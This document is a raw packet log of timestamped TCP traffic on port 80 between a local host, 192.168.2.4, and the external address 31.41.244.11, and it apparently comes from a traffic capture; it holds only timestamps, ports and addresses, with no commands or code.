Dec 12, 2024 14:26:51.335733891 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.335757971 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.339416027 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.339473009 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.339816093 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.339858055 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.343084097 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.343143940 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.343209028 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.343252897 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.372665882 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.372682095 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.372750044 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.442233086 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.442291975 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.442332983 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.442353964 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.443823099 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.443873882 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.444044113 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.444086075 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.447017908 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.447062016 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.447088003 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.447108984 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.450263977 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.450321913 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.450510979 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.450547934 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.453358889 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.453398943 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.453402996 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.453445911 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.456475019 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.456535101 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.456538916 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.456581116 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.459508896 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.459557056 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.459660053 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.459701061 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.462496042 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.462539911 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.462569952 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.462606907 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.465461969 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.465532064 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.465534925 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.465570927 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.468360901 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.468406916 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.468416929 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.468451977 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.471369982 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.471425056 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.471641064 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.471777916 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.474319935 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.474371910 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.474562883 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.474602938 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.477257967 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.477314949 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.477488041 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.477533102 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.480268002 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.480314970 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.480387926 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.480427980 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.483201981 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.483247042 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.483251095 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.483289003 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.486332893 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.486391068 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.486407995 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.486448050 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.489109039 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.489156008 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.489159107 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.489330053 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.492064953 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.492122889 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.492152929 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.492191076 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.494999886 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.495052099 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.495131969 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.495171070 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.497941017 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.498004913 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.498020887 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.498085976 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.500967026 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.501013041 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.501044035 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.501085997 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.503952980 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.503981113 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.504010916 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.504039049 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.506932020 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.506983995 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.507122993 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.507159948 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.510040045 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.510081053 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.510119915 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.510158062 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.512815952 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.512859106 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.513030052 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.513068914 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.515665054 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.515708923 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.515734911 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.515743971 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.518613100 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.518636942 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.518665075 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.518687963 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.521661997 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.521706104 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.521992922 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.522033930 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.524612904 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.524657011 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.524831057 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.524871111 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.527612925 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.527657986 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.528141022 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.528234959 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.530608892 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.530653954 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.530711889 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.530752897 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.533409119 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.533449888 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.533638000 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.533729076 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.536375046 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.536389112 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.536433935 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.539343119 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.539406061 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.539715052 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.539865017 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.602957010 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.603002071 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.603010893 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.603056908 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.604317904 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.604361057 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.604841948 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.604881048 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.607449055 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.607490063 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.607611895 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.607650042 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.610375881 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.610410929 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.610444069 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.610481024 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.613580942 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.613641024 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.634237051 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.634283066 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.634418964 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.634459019 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.635245085 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.635371923 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.635646105 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.635693073 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.635826111 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.635865927 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.637830973 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.637873888 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.637990952 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.638031006 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.639949083 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.639991999 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.640544891 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.640587091 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.642070055 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.642115116 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.642160892 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.642203093 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.644196987 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.644239902 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.644256115 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.644290924 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.646234989 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.646275997 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.646794081 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.646835089 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.648443937 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.648516893 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.648751974 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.648787022 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.650528908 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.650573969 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.650949955 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.650990963 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.652597904 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.652637959 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.652643919 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.652681112 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.654319048 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.654361963 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.654747963 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.654793978 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.656213999 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.656272888 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.656864882 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.656904936 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.658154011 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.658200026 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.658301115 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.658340931 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.660115957 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.660159111 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.660336018 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.660368919 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.662110090 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.662153959 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.662385941 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.662426949 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.663975000 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.664017916 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.664196014 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.664238930 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.665895939 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.665939093 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.666047096 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.666086912 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.667829990 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.667871952 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.667911053 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.667952061 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.669771910 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.669816017 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.670115948 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.670159101 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.671685934 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.671736002 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.672657967 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.672699928 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.673602104 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.673641920 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.673675060 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.673721075 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.675479889 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.675522089 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.675554991 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.675589085 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.677418947 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.677462101 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.677561998 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.677604914 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.679472923 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.679518938 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.679826975 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.679869890 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.681396008 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.681433916 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.681664944 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.681710005 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.683201075 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.683242083 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.683244944 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.683284998 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.685108900 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.685149908 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.685815096 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.685857058 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.687107086 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.687148094 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.687338114 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.687376976 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.689119101 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.689193010 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.689218998 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.689281940 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.690890074 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.690932035 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.691005945 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.691040039 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.692822933 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.692864895 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.693167925 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.693206072 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.694783926 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.694827080 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.694828987 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.694865942 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.696696043 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.696738958 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.697269917 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.697314978 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.698632002 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.698674917 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.698786020 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.698827982 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.700578928 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.700596094 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.700618029 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.700651884 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.702441931 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.702481031 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.702498913 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.702537060 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.704385996 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.704430103 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.704534054 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.704574108 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.706307888 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.706351042 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.706557035 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.706592083 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.708270073 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.708309889 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.708324909 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.708363056 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.710146904 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.710207939 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.710215092 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.710252047 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.712848902 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.712863922 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.712913036 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.712928057 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.714593887 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.714643002 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.714665890 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.714684963 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.716094017 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.716115952 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.716152906 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.716187954 CET	49865	80	192.168.2.4	31.41.244.11
